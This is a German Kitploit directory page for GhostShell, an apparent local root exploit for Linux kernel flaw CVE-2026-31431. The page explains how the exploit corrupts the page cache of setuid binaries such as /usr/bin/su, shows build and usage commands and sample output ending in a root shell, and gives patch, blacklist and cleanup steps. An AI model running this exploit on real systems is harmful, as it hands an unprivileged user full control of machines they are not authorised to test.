Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GhostShell — CVE-2026-31431 — Lokale Rechteausweitung durch Korruption des Linux-Kernel-Page-Cache | Kitploit
Tools/GitHubGitHub/razvanduda/ghostshell
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPenetrationstestsRed TeamingBinary-Exploitation
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — Lokale Rechteausweitung durch Korruption des Linux-Kernel-Page-Cache

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GhostShell

CVE-2026-31431 — Lokale Rechteausweitung durch Korruption des Linux-Kernel-Page-Cache

GhostShell ist ein Tool zur lokalen Rechteausweitung, das einen Fehler in der authencesn-AEAD-Krypto-Implementierung des Linux-Kernels ausnutzt, um eine Root-Shell von einem unprivilegierten Benutzerkonto zu erhalten. Es korrumpiert den In-Memory-Page-Cache einer setuid-root-Binärdatei (z. B. /usr/bin/su), indem es Shellcode an deren Einstiegspunkt platziert, und führt diesen dann aus — wodurch setuid(0) + setgid(0) erlangt und eine privilegierte /bin/sh gestartet wird. Es wird keine Datei auf der Festplatte verändert; nur der In-Memory-Page-Cache ist betroffen.

Kurz gesagt: Sie führen es als normaler Benutzer aus, und es bringt Sie in eine Root-Shell.

Entdeckt und veröffentlicht von Theori / Xint. Vollständiger Artikel: copy.fail


Beispielausgabe

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Ziel:         /usr/bin/su
  Größe:        63576 Bytes
  Einstiegsoffset: 0x1a50
  Shellcode:    94 Bytes (24 Iterationen)

  [*] Prüfe, ob der Kernel verwundbar ist...
  [+] Kernel IST verwundbar.

  [*] Korrumpiere Page-Cache von /usr/bin/su mit Shellcode...
  [*] Patche Offset 0x01a50 (24/24) ...

  [*] Verifiziere Page-Cache-Korruption...
  [+] Shellcode im Page-Cache verifiziert!

  [*] Führe korrumpierte setuid-Binärdatei aus...
  [*] Bei Erfolg sollten Sie jetzt eine Root-Shell haben.
  [*] Keine Spuren auf der Festplatte. Nur Geister im Cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

Betroffene Kernel

Linux 4.14 (August 2017) bis zu Kerneln, die im April 2026 gepatcht wurden.

Behebung — Patchen von kmod

Die empfohlene Lösung für CVE-2026-31431 besteht darin, das kmod-Paket (Kernel-Modul-Dienstprogramme) zu patchen, das das verwundbare authencesn-AEAD-Chiffre-Modul enthält. Aktualisierte Pakete, die den In-Place-splice()-Entschlüsselungspfad deaktivieren oder korrigieren, wurden von den großen Distributoren veröffentlicht.

Schneller Patch (Debian / Ubuntu)

root@kitploit:~
# Aktuelle kmod-Version prüfen
modprobe --version

# Auf die gepatchte Version aktualisieren
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# Update verifizieren
modprobe --version

Schneller Patch (RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# kmod auf die gepatchte Version aktualisieren
sudo dnf update kmod

# Verifizieren
rpm -q kmod

Schneller Patch (Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

Kernel-Fix verifizieren

Nach dem Patchen von kmod bestätigen Sie, dass das verwundbare authencesn-Modul nicht mehr ladbar ist oder aktualisiert wurde:

root@kitploit:~
# Versuchen Sie, das Modul zu laden — auf gepatchten Systemen sollte dies fehlschlagen oder eine gepatchte Version melden
modinfo authencesn

# Alternativ prüfen, ob der laufende Kernel den April-2026-Patch enthält
uname -r   # sollte >= der gepatchten Kernel-Version für Ihre Distribution sein

Workaround (falls ein Patch nicht sofort möglich ist)

Wenn Sie kmod nicht sofort aktualisieren können, können Sie das verwundbare Chiffre-Modul am Laden hindern:

root@kitploit:~
# Das authencesn-Modul auf die Blacklist setzen
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# Zusätzlich das generische authenc-Modul auf die Blacklist setzen
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# Entladen, falls es geladen ist (kann fehlschlagen, wenn es in Verwendung ist)
sudo modprobe -r authencesn 2>/dev/null

Nach dem Patchen oder Anwenden des Workarounds neu starten, um sicherzustellen, dass alle korrumpierten Page-Cache-Einträge gelöscht werden.


Getestet auf

OSKernel
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ Dieser Exploit wurde nur auf dem oben genannten System getestet. Ihre Ergebnisse können auf anderen Distributionen oder Kernel-Versionen abweichen.


Voraussetzungen

  • Ein verwundbarer Linux-Kernel (siehe oben)
  • GCC (oder ein anderer C-Compiler)
  • Linux-Kernel-UAPI-Header (<linux/if_alg.h>) — normalerweise in linux-libc-dev enthalten
  • Ein unprivilegiertes Benutzerkonto (kein Root erforderlich, um den Exploit auszuführen)

Build-Abhängigkeiten auf Ubuntu/Debian installieren:

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

Build

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

Keine externen Bibliotheken erforderlich.


Verwendung

Ziel automatisch erkennen (prüft gängige setuid-Binärdateien wie su, sudo, passwd):

root@kitploit:~
./ghostshell

Ein Ziel manuell angeben:

root@kitploit:~
./ghostshell /usr/bin/sudo

Wenn der Kernel verwundbar ist, werden Sie in eine Root-Shell (#) gebracht.


Funktionsweise (Zusammenfassung)

  1. Verwundbarkeitsprüfung — Erstellt eine temporäre Datei, mutiert ihre ersten 4 Bytes über die AEAD-Primitive, liest sie zurück, um zu bestätigen, dass der Page-Cache modifiziert wurde.
  2. Zielauswahl — Erkennt automatisch eine setuid-root-Binärdatei und parst den ELF64-Header, um den _start-Einstiegspunkt-Offset zu finden.
  3. Page-Cache-Korruption — Schreibt 94 Bytes x86-64-Shellcode an den Einstiegspunkt, 4 Bytes pro patch_chunk()-Aufruf (24 Iterationen), unter Ausnutzung des AF_ALG-splice()-In-Place-Entschlüsselungsfehlers.
  4. Ausführung — Ruft execl() auf der korrumpierten Binärdatei auf. Der Kernel lädt sie aus dem Page-Cache und der Shellcode läuft mit setuid-root-Berechtigungen, wodurch eine Root-Shell gestartet wird.

Bereinigung

Der Exploit korrumpiert nur den In-Memory-Page-Cache. Ein einfacher Neustart löscht ihn vollständig.

Um Caches ohne Neustart zu leeren:

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

Wenn Dirty Pages zurück auf die Festplatte geschrieben wurden (unwahrscheinlich, aber möglich), installieren Sie das betroffene Paket neu:

root@kitploit:~
sudo apt-get install --reinstall util-linux   # für /usr/bin/su

Haftungsausschluss

Dieses Tool wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.

Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die „Software") erhält, kostenlos die Erlaubnis erteilt, die Software ohne Einschränkung zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und Personen, denen die Software zur Verfügung gestellt wird, dies zu gestatten, vorbehaltlich der folgenden Bedingungen:

Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.

DIE SOFTWARE WIRD „WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNGEN VERANTWORTLICH, SEI ES AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.

Tool herunterladen